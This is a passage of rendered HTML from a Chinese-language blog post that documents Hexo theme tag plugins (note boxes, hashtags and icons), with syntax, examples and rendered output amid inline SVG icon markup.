01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="3-note-&#x5907;&#x6CE8;">3. note &#x5907;&#x6CE8;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% note [color:color] [title] content %}</span><br><span class="line"></span><br><span class="line">&#x5176;&#x4E2D;&#xFF1A;</span><br><span class="line">title: &#x6807;&#x9898;&#xFF08;&#x53EF;&#x9009;&#xFF09;</span><br><span class="line">content: &#x5185;&#x5BB9;</span><br><span class="line">color: red/orange/yellow/green/cyan/blue/purple/light/dark/warning/error</span><br><span class="line"></span><br><span class="line">&#x6CE8;&#x610F;&#xFF1A;color:read &#x952E;&#x503C;&#x5BF9;&#x4E4B;&#x95F4;&#x4E0D;&#x80FD;&#x6709;&#x7A7A;&#x683C;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% note color:red &#x6807;&#x9898; &#x6B63;&#x6587;  %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful note" color="red"><div class="title">&#x6807;&#x9898;</div><div class="body"><p>&#x6B63;&#x6587;</p></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x6807;&#x9898;&#x91CC;&#x7684;&#x7A7A;&#x683C;</span><span class="empty"></span></p></div><p>&#x5982;&#x679C;&#x6807;&#x9898;&#x91CC;&#x9762;&#x9700;&#x8981;&#x663E;&#x793A;&#x7A7A;&#x683C;&#xFF0C;&#x8981;&#x4F7F;&#x7528; <code>&amp;nbsp;</code> &#x4EE3;&#x66FF;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% note &#x8FD9;&amp;nbsp;&#x662F;&#x6807;&#x9898; &#x8FD9;&#x662F;&#x6B63; &#x6587;&#x3002; %}</span><br><span class="line"></span><br><span class="line">&#x6CE8;&#xFF1A;&#x53EF;&#x4EE5;&#x8FDE;&#x7EED;&#x51E0;&#x4E2A; &amp;nbsp;</span><br></pre></td></tr></table></figure><div class="tag-plugin colorful note"><div class="title">&#x8FD9;&#x662F;&#x6807;&#xA0;</div><div class="body"><p>&#x9898; &#x8FD9;&#x662F;&#x6B63; &#x6587; &#x3002;</p></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x989C;&#x8272;&#x63A7;&#x5236;</span><span class="empty"></span></p></div><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% note &#x4E00;&#x5171;&#x652F;&#x6301;12&#x79CD;&#x989C;&#x8272;&#xFF0C;&#x53EF;&#x4EE5;&#x6EE1;&#x8DB3;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x7684;&#x9700;&#x6C42;&#x4E86;&#x3002; color &#x53EF;&#x8BBE;&#x7F6E; red&#x3001;orange&#x3001;amber&#x3001;yellow&#x3001;green&#x3001;cyan&#x3001;blue&#x3001;purple&#x3001;light&#x3001;dark&#x3001;warning&#x3001;error &#x51E0;&#x79CD;&#x53D6;&#x503C;&#x3002; %}</span><br><span class="line">{% note color:cyan &#x4E00;&#x5171;&#x652F;&#x6301;12&#x79CD;&#x989C;&#x8272;&#xFF0C;&#x53EF;&#x4EE5;&#x6EE1;&#x8DB3;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x7684;&#x9700;&#x6C42;&#x4E86;&#x3002; color &#x53EF;&#x8BBE;&#x7F6E; red&#x3001;orange&#x3001;amber&#x3001;yellow&#x3001;green&#x3001;cyan&#x3001;blue&#x3001;purple&#x3001;light&#x3001;dark&#x3001;warning&#x3001;error &#x51E0;&#x79CD;&#x53D6;&#x503C;&#x3002; %}</span><br></pre></td></tr></table></figure><div class="tag-plugin colorful note" color="cyan"><div class="title">&#x4E00;&#x5171;&#x652F;&#x6301;</div><div class="body"><p>12 &#x79CD;&#x989C;&#x8272;&#xFF0C;&#x53EF;&#x4EE5;&#x6EE1;&#x8DB3;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x7684;&#x9700;&#x6C42;&#x4E86;&#x3002; color &#x53EF;&#x8BBE;&#x7F6E; red&#x3001;orange&#x3001;amber&#x3001;yellow&#x3001;green&#x3001;cyan&#x3001;blue&#x3001;purple&#x3001;light&#x3001;dark&#x3001;warning&#x3001;error &#x51E0;&#x79CD;&#x53D6;&#x503C;&#x3002;</p></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="4-hashtag">4. hashtag</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{% hashtag text href [color:color] %}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% hashtag Rust https://cactusinhand.github.io/categories/Rust/ color:orange %}</span><br><span class="line"></span><br><span class="line">{% hashtag Python https://cactusinhand.github.io/tags/Python/ color:green %}</span><br><span class="line"></span><br><span class="line">{% hashtag no-url color:green %}</span><br></pre></td></tr></table></figure><p>&#x7ED3;&#x679C;&#xFF1A;</p><a class="tag-plugin colorful hashtag" color="orange" href="https://cactusinhand.github.io/categories/Rust/"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>Rust</span></a><a class="tag-plugin colorful hashtag" color="green" href="https://cactusinhand.github.io/tags/Python/"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>Python</span></a><a class="tag-plugin colorful hashtag" color="green"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>no-url</span></a><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="5-icon">5. icon</h4><p>&#x652F;&#x6301;&#x5728;&#x4EFB;&#x610F;&#x4F4D;&#x7F6E;&#x63D2;&#x5165;&#x56FE;&#x6807;&#xFF0C;&#x652F;&#x6301;&#x5916;&#x94FE;&#x56FE;&#x6807;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x5728; icons.yml &#x4E2D;&#x63D0;&#x524D;&#x914D;&#x7F6E;&#x597D;</p><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">{% icon key [color:color] [style:css] %}</span><br><span class="line"></span><br><span class="line">&#x6307;&#x5B9A;&#x56FE;&#x6807;&#xFF1A;</span><br><span class="line">icons.yml &#x4E2D;&#x7684;&#x56FE;&#x6807;&#xFF1A;{% icon solar:planet-bold-duotone %}</span><br><span class="line">&#x5916;&#x94FE;&#x56FE;&#x6807;&#xFF1A;{% icon https://api.iconify.design/solar:link-circle-bold.svg %}</span><br><span class="line">&#x6307;&#x5B9A;&#x989C;&#x8272;&#xFF1A;{% icon ph:seal-question-fill color:red %}</span><br><span class="line">color &#x652F;&#x6301;&#xFF1A;theme, accent, red, orange, yellow, green, cyan, blue, purple</span><br><span class="line"></span><br><span class="line">&#x8FD8;&#x652F;&#x6301; style &#x53C2;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5BF9;&#x6837;&#x5F0F;&#x8FDB;&#x884C;&#x4FEE;&#x6539;&#xFF0C;&#x4EC5;&#x652F;&#x6301;&#x5916;&#x94FE;&#x56FE;&#x6807;&#xFF0C;style &#x53C2;&#x6570;&#x4E2D;&#x95F4;&#x4E0D;&#x80FD;&#x6709;&#x7A7A;&#x683C;&#x3002;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">{% icon https://api.iconify.design/solar:link-circle-bold.svg &#xA0;color:red %}</span><br><span class="line">{% icon ph:seal-question-fill color:green %}</span><br><span class="line">{% icon solar:lightbulb-bolt-bold-duotone color:yellow %}</span><br><span class="line">{% icon  solar:probe color:cyan %}</span><br><span class="line">{% icon solar:earth color:purple %}</span><br><span class="line">{% icon solar:moon color:withe %}</span><br><span class="line">{% icon solar:documents-bold-duotone  color:blue %}</span><br><span class="line">{% icon  solar:chat-square-like-bold-duotone color:red %}</span><br><span class="line">{% icon solar:chat-line-bold-duotone color:green %}</span><br><span class="line">{% icon solar:planet-bold-duotone %}</span><br><span class="line">{% icon solar:notebook-bookmark-bold-duotone%}</span><br><span class="line">{% icon solar:pin-linear color:blue %}</span><br><span class="line">{% icon solar:hashtag-linear %}</span><br><span class="line">{% icon solar:lightbulb-bolt-bold-duotone color:dark %}</span><br><span class="line">{% icon github:logo color:white %}</span><br><span class="line">{% icon github:repo color:white %}</span><br><span class="line">{% icon github:fork color:white %}</span><br><span class="line">{% icon github:tag color:white %}</span><br><span class="line">{% icon default:calendar color:white %}</span><br></pre></td></tr></table></figure><p>&#x7ED3;&#x679C;&#xFF1A;</p><span class="tag-plugin icon colorful" color="red"><img src="https://api.iconify.design/solar:link-circle-bold.svg"></span><span class="tag-plugin icon colorful" color="green"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 256 256"><path fill="currentColor" d="M225.86 102.82c-3.77-3.94-7.67-8-9.14-11.57c-1.36-3.27-1.44-8.69-1.52-13.94c-.15-9.76-.31-20.82-8-28.51s-18.75-7.85-28.51-8c-5.25-.08-10.67-.16-13.94-1.52c-3.56-1.47-7.63-5.37-11.57-9.14C146.28 23.51 138.44 16 128 16s-18.27 7.51-25.18 14.14c-3.94 3.77-8 7.67-11.57 9.14c-3.25 1.36-8.69 1.44-13.94 1.52c-9.76.15-20.82.31-28.51 8s-7.8 18.75-8 28.51c-.08 5.25-.16 10.67-1.52 13.94c-1.47 3.56-5.37 7.63-9.14 11.57C23.51 109.72 16 117.56 16 128s7.51 18.27 14.14 25.18c3.77 3.94 7.67 8 9.14 11.57c1.36 3.27 1.44 8.69 1.52 13.94c.15 9.76.31 20.82 8 28.51s18.75 7.85 28.51 8c5.25.08 10.67.16 13.94 1.52c3.56 1.47 7.63 5.37 11.57 9.14c6.9 6.63 14.74 14.14 25.18 14.14s18.27-7.51 25.18-14.14c3.94-3.77 8-7.67 11.57-9.14c3.27-1.36 8.69-1.44 13.94-1.52c9.76-.15 20.82-.31 28.51-8s7.85-18.75 8-28.51c.08-5.25.16-10.67 1.52-13.94c1.47-3.56 5.37-7.63 9.14-11.57c6.63-6.9 14.14-14.74 14.14-25.18s-7.51-18.27-14.14-25.18M128 192a12 12 0 1 1 12-12a12 12 0 0 1-12 12m8-48.72v.72a8 8 0 0 1-16 0v-8a8 8 0 0 1 8-8c13.23 0 24-9 24-20s-10.77-20-24-20s-24 9-24 20v4a8 8 0 0 1-16 0v-4c0-19.85 17.94-36 40-36s40 16.15 40 36c0 17.38-13.76 31.93-32 35.28"/></svg></span><span class="tag-plugin icon colorful" color="yellow"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="#888888" d="M4 9.674C4 5.436 7.358 2 11.5 2C15.642 2 19 5.436 19 9.674a7.736 7.736 0 0 1-2.499 5.72c-.51.467-.889.814-1.157 1.066a14.926 14.926 0 0 0-.4.39l-.025.027l-.008.01c-.237.298-.288.375-.318.445c-.03.07-.053.16-.113.54c-.023.15-.026.406-.026 1.105v.03c0 .409 0 .762-.025 1.051c-.027.306-.087.61-.248.895a2.07 2.07 0 0 1-.75.767c-.278.165-.575.226-.874.254c-.283.026-.628.026-1.028.026h-.058c-.4 0-.745 0-1.028-.026c-.3-.028-.596-.09-.875-.254a2.07 2.07 0 0 1-.749-.767c-.16-.285-.22-.588-.248-.895c-.026-.29-.026-.642-.026-1.051v-.03c0-.699-.002-.955-.026-1.105c-.06-.38-.081-.47-.112-.54c-.03-.07-.081-.147-.318-.446l-.008-.01a14.896 14.896 0 0 0-.425-.417c-.268-.25-.647-.598-1.157-1.066A7.736 7.736 0 0 1 4 9.674" opacity=".5"/><path fill="#888888" d="M13.085 19.675h-3.17c.003.097.007.181.014.258c.018.21.05.285.071.323a.69.69 0 0 0 .25.256c.037.021.111.054.316.072c.214.02.496.021.934.021c.437 0 .72 0 .934-.02c.204-.02.279-.052.316-.073a.69.69 0 0 0 .25-.256c.02-.038.052-.114.07-.323c.007-.076.012-.161.015-.258M12.61 8.177c.307.224.378.66.159.973l-1.178 1.688h1.402a.68.68 0 0 1 .606.378a.711.711 0 0 1-.051.725L11.6 14.73a.672.672 0 0 1-.951.163a.708.708 0 0 1-.159-.973l1.178-1.688h-1.402a.68.68 0 0 